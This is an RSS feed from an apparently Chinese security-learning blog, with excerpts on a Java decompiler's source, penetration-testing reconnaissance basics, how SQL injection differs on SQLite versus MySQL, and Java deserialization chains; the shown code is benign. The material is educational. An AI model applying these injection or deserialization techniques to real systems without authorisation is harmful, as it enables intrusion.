<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Solowalker</title><link>https://s0lowalker.github.io/</link><description>Recent content on Solowalker</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Tue, 07 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://s0lowalker.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>JD2M源码分析</title><link>https://s0lowalker.github.io/docs/%E9%A1%B9%E7%9B%AE/jd2m/jd2m%E6%BA%90%E7%A0%81%E7%90%86%E8%A7%A3%E8%AE%B0%E5%BD%95/</link><pubDate>Tue, 07 Jul 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/%E9%A1%B9%E7%9B%AE/jd2m/jd2m%E6%BA%90%E7%A0%81%E7%90%86%E8%A7%A3%E8%AE%B0%E5%BD%95/</guid><description>&lt;h1 id="jd2m源码分析"&gt;
 JD2M源码分析
 &lt;a class="anchor" href="#jd2m%e6%ba%90%e7%a0%81%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="unicode2cnjava"&gt;
 Unicode2CN.java
 &lt;a class="anchor" href="#unicode2cnjava"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;这个文件的核心功能是把 Java 源码里的 \uXXXX Unicode 转义序列还原成可读的中文字符&lt;/p&gt;
&lt;p&gt;CFR 反编译字节码时，遇到中文字符串会输出成 \u4e2d\u6587 这种形态。JD2M 用这个类做后处理，把反编译结果还原成人类可读的 中文。&lt;/p&gt;
&lt;h3 id="方法功能"&gt;
 方法功能
 &lt;a class="anchor" href="#%e6%96%b9%e6%b3%95%e5%8a%9f%e8%83%bd"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="1-ascii2charstring-str--最底层单个-uxxxx-转-char"&gt;
 1. ascii2Char(String str) — 最底层：单个 \uXXXX 转 char
 &lt;a class="anchor" href="#1-ascii2charstring-str--%e6%9c%80%e5%ba%95%e5%b1%82%e5%8d%95%e4%b8%aa-uxxxx-%e8%bd%ac-char"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ascii2Char&lt;/span&gt;(String str) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (str.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;() &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; 6) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; IllegalArgumentException(&lt;span style="color:#e6db74"&gt;&amp;#34;Length must be 6, got: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; str.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;()); &lt;span style="color:#75715e"&gt;//\uXXXX必须是6个字符&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;\\u&amp;#34;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;equals&lt;/span&gt;(str.&lt;span style="color:#a6e22e"&gt;substring&lt;/span&gt;(0, 2))) { &lt;span style="color:#75715e"&gt;//前缀检查&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; IllegalArgumentException(&lt;span style="color:#e6db74"&gt;&amp;#34;Must start with \\u&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	String tmp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; str.&lt;span style="color:#a6e22e"&gt;substring&lt;/span&gt;(2, 4);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Integer.&lt;span style="color:#a6e22e"&gt;parseInt&lt;/span&gt;(tmp, 16) &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; 8;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	tmp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; str.&lt;span style="color:#a6e22e"&gt;substring&lt;/span&gt;(4, 6);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	code &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; Integer.&lt;span style="color:#a6e22e"&gt;parseInt&lt;/span&gt;(tmp, 16);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;) code;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;由于 Java 字符串里 &lt;code&gt;\u&lt;/code&gt; 要写成 &lt;code&gt;\\u&lt;/code&gt;，因为 &lt;code&gt;\&lt;/code&gt; 本身需要转义。所以传进来的参数长这样：&lt;code&gt;\\u4e16&lt;/code&gt;（6 个字符：&lt;code&gt;\ u 4 e 1 6&lt;/code&gt;）。&lt;/p&gt;</description></item><item><title>JD2M技术栈——我的Java反编译器</title><link>https://s0lowalker.github.io/docs/%E9%A1%B9%E7%9B%AE/jd2m/jd2m%E6%8A%80%E6%9C%AF%E6%A0%88%E6%88%91%E7%9A%84java%E5%8F%8D%E7%BC%96%E8%AF%91%E5%99%A8/</link><pubDate>Fri, 03 Jul 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/%E9%A1%B9%E7%9B%AE/jd2m/jd2m%E6%8A%80%E6%9C%AF%E6%A0%88%E6%88%91%E7%9A%84java%E5%8F%8D%E7%BC%96%E8%AF%91%E5%99%A8/</guid><description>&lt;h1 id="jd2m技术栈我的-java-反编译器"&gt;
 JD2M技术栈——我的 Java 反编译器
 &lt;a class="anchor" href="#jd2m%e6%8a%80%e6%9c%af%e6%a0%88%e6%88%91%e7%9a%84-java-%e5%8f%8d%e7%bc%96%e8%af%91%e5%99%a8"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="前置知识java-从源码到运行"&gt;
 前置知识：Java 从源码到运行
 &lt;a class="anchor" href="#%e5%89%8d%e7%bd%ae%e7%9f%a5%e8%af%86java-%e4%bb%8e%e6%ba%90%e7%a0%81%e5%88%b0%e8%bf%90%e8%a1%8c"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.java 源码
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼ javac 编译
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.class 字节码文件（平台无关的二进制格式）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼ java 命令启动 JVM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;JVM 加载 → 验证 → 解释执行 / JIT 编译 → 机器码
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;反编译就是把流程反过来：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.class 字节码
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼ 反编译器（如 CFR）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.java 源码（近似还原，不可能 100% 还原）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="为什么反编译不能百分百还原"&gt;
 为什么反编译不能百分百还原
 &lt;a class="anchor" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e5%8f%8d%e7%bc%96%e8%af%91%e4%b8%8d%e8%83%bd%e7%99%be%e5%88%86%e7%99%be%e8%bf%98%e5%8e%9f"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;编译器在编译过程中会丢失一些信息：&lt;/p&gt;
&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;丢失的信息&lt;/th&gt;
					&lt;th&gt;举例&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;局部变量名&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;int a&lt;/code&gt; ← 字节码中无变量名，只有类型和栈位置&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;泛型参数&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;List&amp;lt;String&amp;gt;&lt;/code&gt; → &lt;code&gt;List&lt;/code&gt;（泛型擦除）&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;注释&lt;/td&gt;
					&lt;td&gt;所有注释在编译时被丢弃&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;格式/缩进&lt;/td&gt;
					&lt;td&gt;完全不存在&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;for/while 区别&lt;/td&gt;
					&lt;td&gt;都变成相同条件的 goto 跳转&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;switch 字符串&lt;/td&gt;
					&lt;td&gt;编译为 &lt;code&gt;hashCode()&lt;/code&gt; 比较 + 跳转表&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;try-with-resources&lt;/td&gt;
					&lt;td&gt;编译为 try-catch-finally 模式&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="class-文件格式"&gt;
 class 文件格式
 &lt;a class="anchor" href="#class-%e6%96%87%e4%bb%b6%e6%a0%bc%e5%bc%8f"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;每一个&lt;code&gt;.class&lt;/code&gt;文件都严格按照一下结构排列：&lt;/p&gt;</description></item><item><title>Web、APP与小程序架构基础</title><link>https://s0lowalker.github.io/docs/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8%E7%AF%87/web%E4%B8%8Eapp%E4%B8%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F/</link><pubDate>Thu, 02 Jul 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8%E7%AF%87/web%E4%B8%8Eapp%E4%B8%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F/</guid><description>&lt;h1 id="webapp与小程序架构基础认知"&gt;
 Web、APP与小程序架构基础认知
 &lt;a class="anchor" href="#webapp%e4%b8%8e%e5%b0%8f%e7%a8%8b%e5%ba%8f%e6%9e%b6%e6%9e%84%e5%9f%ba%e7%a1%80%e8%ae%a4%e7%9f%a5"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="web-应用"&gt;
 web 应用
 &lt;a class="anchor" href="#web-%e5%ba%94%e7%94%a8"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="基本认识"&gt;
 基本认识
 &lt;a class="anchor" href="#%e5%9f%ba%e6%9c%ac%e8%ae%a4%e8%af%86"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="域名差异-主站分站端口站子站"&gt;
 域名差异-主站&amp;amp;分站&amp;amp;端口站&amp;amp;子站
 &lt;a class="anchor" href="#%e5%9f%9f%e5%90%8d%e5%b7%ae%e5%bc%82-%e4%b8%bb%e7%ab%99%e5%88%86%e7%ab%99%e7%ab%af%e5%8f%a3%e7%ab%99%e5%ad%90%e7%ab%99"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;主站&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://www.solowalker.com"&gt;www.solowalker.com&lt;/a&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;分站&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;blog.solowalker.com&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;端口站&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://www.solowalker.com"&gt;www.solowalker.com&lt;/a&gt;:88&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;子站&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;123.blog.solowalker.com&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;目录站&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://www.solowalker.com/hacker"&gt;www.solowalker.com/hacker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;渗透目标一般有两种形式：域名、IP。&lt;/p&gt;
&lt;p&gt;一般打开一个网站都是主站，这个主站的域名对应一个 IP。分站的域名也会对应一个 IP，分站的 IP 可以和主站不同，也可以相同。如果分站和主站的 IP 相同，测试分站就可能会影响到主站。所以在信息收集的过程中收集分站的信息可能给我们更多的机会。&lt;/p&gt;
&lt;p&gt;当然，分站和主站不放在一起也会有影响。&lt;/p&gt;
&lt;p&gt;对于端口站，一个端口可能就会对应一个程序，比如www.solowalker.com:88对应的是 PHP 程序，而到了www.solowalker.com:8080就变成了一个 Java 程序。&lt;/p&gt;
&lt;p&gt;对于目录站，一个目录就可能对应一个程序，比如www.solowalker.com是一个博客网站，这是一个 PHP 程序，而www.solowalker.com/bbs是一个论坛网站，是一个 Java 程序。这和端口站是很像的。&lt;/p&gt;
&lt;p&gt;了解这些能够让我们在信息收集的过程中了解更多的情况，便于我们发现漏洞。&lt;/p&gt;
&lt;h4 id="源码差异-结构语言框架闭源加密"&gt;
 源码差异-结构&amp;amp;语言&amp;amp;框架&amp;amp;闭源&amp;amp;加密
 &lt;a class="anchor" href="#%e6%ba%90%e7%a0%81%e5%b7%ae%e5%bc%82-%e7%bb%93%e6%9e%84%e8%af%ad%e8%a8%80%e6%a1%86%e6%9e%b6%e9%97%ad%e6%ba%90%e5%8a%a0%e5%af%86"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;源码目录结构&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;后台目录，文件目录，逻辑目录(代码的逻辑处理能力，看数据的处理等)，前端目录(XSS等前端漏洞，JS攻防等)，数据目录，配置文件等。熟悉目录对于代码审计来说是很重要的。&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;源码开发语言类型&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ASP，ASPX，PHP，Java，Python，Go，javascript等。&lt;/p&gt;
&lt;p&gt;ASP属于第一代动态网页技术，是一个服务端脚本环境，可以在 HTML 页面中嵌入脚本语言，主要是 VBScript、JScript，在服务器执行后生成动态网页后再返回给浏览器。&lt;/p&gt;
&lt;p&gt;ASPX 是 ASP.NET 的文件后缀，ASP.NET 是一个成熟的&lt;strong&gt;面向对象 Web 开发框架&lt;/strong&gt;，而 ASPX 页面只是其中用于构建 UI 的一种具体文件。ASP.NET 全部&lt;strong&gt;预编译为 IL 中间语言&lt;/strong&gt;，再由 JIT 编译成本地代码。ASP.NET支持强类型语言，目前最主要的是 C# 和 VB.NET。&lt;/p&gt;</description></item><item><title>SQLite下的SQL注入</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/sql%E6%B3%A8%E5%85%A5/sqlite%E4%B8%8B%E7%9A%84sql%E6%B3%A8%E5%85%A5/</link><pubDate>Sat, 23 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/sql%E6%B3%A8%E5%85%A5/sqlite%E4%B8%8B%E7%9A%84sql%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="sqlite下的sql注入"&gt;
 SQLite下的SQL注入
 &lt;a class="anchor" href="#sqlite%e4%b8%8b%e7%9a%84sql%e6%b3%a8%e5%85%a5"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;在极客大挑战复现的时候遇到了 SQLite 数据库的 SQL 注入，所以现在在此记录一下，也是扩展一下关于数据库的知识。&lt;/p&gt;
&lt;h2 id="sqlite-基础"&gt;
 SQLite 基础
 &lt;a class="anchor" href="#sqlite-%e5%9f%ba%e7%a1%80"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;SQLite 和 MySQL 的区别还是比较大的，由于架构设计、语法和内置函数的不同，所以 MySQL 的注入技巧在 SQLite 上大部分会失效。&lt;/p&gt;
&lt;p&gt;下面是 MySQL 和 SQLite 的一些区别：&lt;/p&gt;
&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;差异&lt;/th&gt;
					&lt;th&gt;MySQL&lt;/th&gt;
					&lt;th&gt;SQLite&lt;/th&gt;
					&lt;th&gt;注意点&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;数据库架构&lt;/td&gt;
					&lt;td&gt;客户端-服务器模式，有独立的服务进程&lt;/td&gt;
					&lt;td&gt;嵌入式数据据库，整个数据库是一个独立文件&lt;/td&gt;
					&lt;td&gt;攻击 SQLite时，可能通过文件读取漏洞直接获取&lt;code&gt;.db&lt;/code&gt;文件，而在 MySQL 中几乎不可能&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;元数据表&lt;/td&gt;
					&lt;td&gt;通过&lt;code&gt;information_schema&lt;/code&gt;数据库查询所有表、列信息&lt;/td&gt;
					&lt;td&gt;使用&lt;code&gt;sqlite_master&lt;/code&gt;表存储所有表结构信息&lt;/td&gt;
					&lt;td&gt;所有基于&lt;code&gt;information_schema&lt;/code&gt;的语句都会失效&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;多语句执行&lt;/td&gt;
					&lt;td&gt;PHP等连接器默认不支持堆叠注入&lt;/td&gt;
					&lt;td&gt;支持使用&lt;code&gt;;&lt;/code&gt;执行多条SQL语句&lt;/td&gt;
					&lt;td&gt;SQLite的注入理论上危害更大，可以直接执行&lt;code&gt;INSERT/UPDATE/DELETE&lt;/code&gt;等语句&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;盲注函数&lt;/td&gt;
					&lt;td&gt;常用&lt;code&gt;sleep()&lt;/code&gt;或&lt;code&gt;benchmark()&lt;/code&gt;制造时间延迟来判断条件&lt;/td&gt;
					&lt;td&gt;无&lt;code&gt;sleep()&lt;/code&gt;函数，需要找替代方案&lt;/td&gt;
					&lt;td&gt;所有基于&lt;code&gt;sleep()&lt;/code&gt;的延时注入脚本和工具都无法直接使用&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;用户与权限&lt;/td&gt;
					&lt;td&gt;有完整的用户和权限系统，可高权限跨库操作或读写文件&lt;/td&gt;
					&lt;td&gt;无用户概念，其权限完全基于操作系统对文件的读写权限&lt;/td&gt;
					&lt;td&gt;无法使用&lt;code&gt;load_file&lt;/code&gt;、&lt;code&gt;into outfile()&lt;/code&gt;这类需要MySQL特定权限的函数&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;文件操作&lt;/td&gt;
					&lt;td&gt;拥有&lt;code&gt;FILE&lt;/code&gt;权限时可使用&lt;code&gt;load_file()&lt;/code&gt;和&lt;code&gt;into outfile()&lt;/code&gt;读写文件&lt;/td&gt;
					&lt;td&gt;没有内置的文件读写函数，可通过附加数据库等方式间接操作&lt;/td&gt;
					&lt;td&gt;直接的读写文件操作无法执行&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="sqlite简介"&gt;
 SQLite简介
 &lt;a class="anchor" href="#sqlite%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;SQLite 是一个轻量级、无服务器、直接读写文件的数据库。它的架构是嵌入式，不是独立进程，而是一个链接到程序中的库，数据库就是一个文件，这点可以理解为C语言中 include 文件，一个程序&lt;code&gt;include&lt;/code&gt;SQLite，就把 SQLite 中所有的函数声明都引入进来了。&lt;/p&gt;
&lt;p&gt;由于 SQLite 是一个独立文件，所以 SQLite 没有用户验证，读写操作完全依赖于操作系统的权限。&lt;/p&gt;</description></item><item><title>java反序列化之CB</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcb/</link><pubDate>Thu, 21 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcb/</guid><description>&lt;h1 id="java反序列化之cb"&gt;
 java反序列化之CB
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcb"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="commonsbeanutils-简介"&gt;
 CommonsBeanUtils 简介
 &lt;a class="anchor" href="#commonsbeanutils-%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Apache Commons 工具集下除了 &lt;code&gt;collections&lt;/code&gt; 以外还有 &lt;code&gt;BeanUtils&lt;/code&gt; ，它主要用于操控 &lt;code&gt;JavaBean&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;先说说什么是 JavaBean。&lt;/p&gt;
&lt;p&gt;一般 JavaBean 的格式就是&lt;code&gt;private&lt;/code&gt;的字段和对字段进行读写操作的&lt;code&gt;public&lt;/code&gt;方法，最常见的就是&lt;code&gt;getter&lt;/code&gt;和&lt;code&gt;setter&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;CommonsBeanUtils 这个包也可以操作 JavaBean，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Baby&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; String name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;abc&amp;#34;&lt;/span&gt;; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; String &lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt;(){ 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; name; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setName&lt;/span&gt; (String name) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; name; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里定义了两个简单的&lt;code&gt;getter&lt;/code&gt;和&lt;code&gt;setter&lt;/code&gt;，如果用&lt;code&gt;@Lombok&lt;/code&gt;的注解也是一样的，使用 &lt;code&gt;@Lombok&lt;/code&gt; 的注解不需要写 &lt;code&gt;getter&lt;/code&gt;和&lt;code&gt;setter&lt;/code&gt;。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Data&lt;/span&gt; &lt;span style="color:#75715e"&gt;// 或者 @Getter @Setter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;User&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; String name;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; age;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 不需要写 getter/setter，Lombok 会在编译时自动生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Commons-BeanUtils 中提供了一个静态方法 &lt;code&gt;PropertyUtils.getProperty&lt;/code&gt;，让使用者可以直接调用任意 JavaBean 的 &lt;code&gt;getter&lt;/code&gt; 方法，示例如下：&lt;/p&gt;</description></item><item><title>java反序列化之CC7</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc7/</link><pubDate>Wed, 20 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc7/</guid><description>&lt;h1 id="java反序列化之cc7"&gt;
 java反序列化之CC7
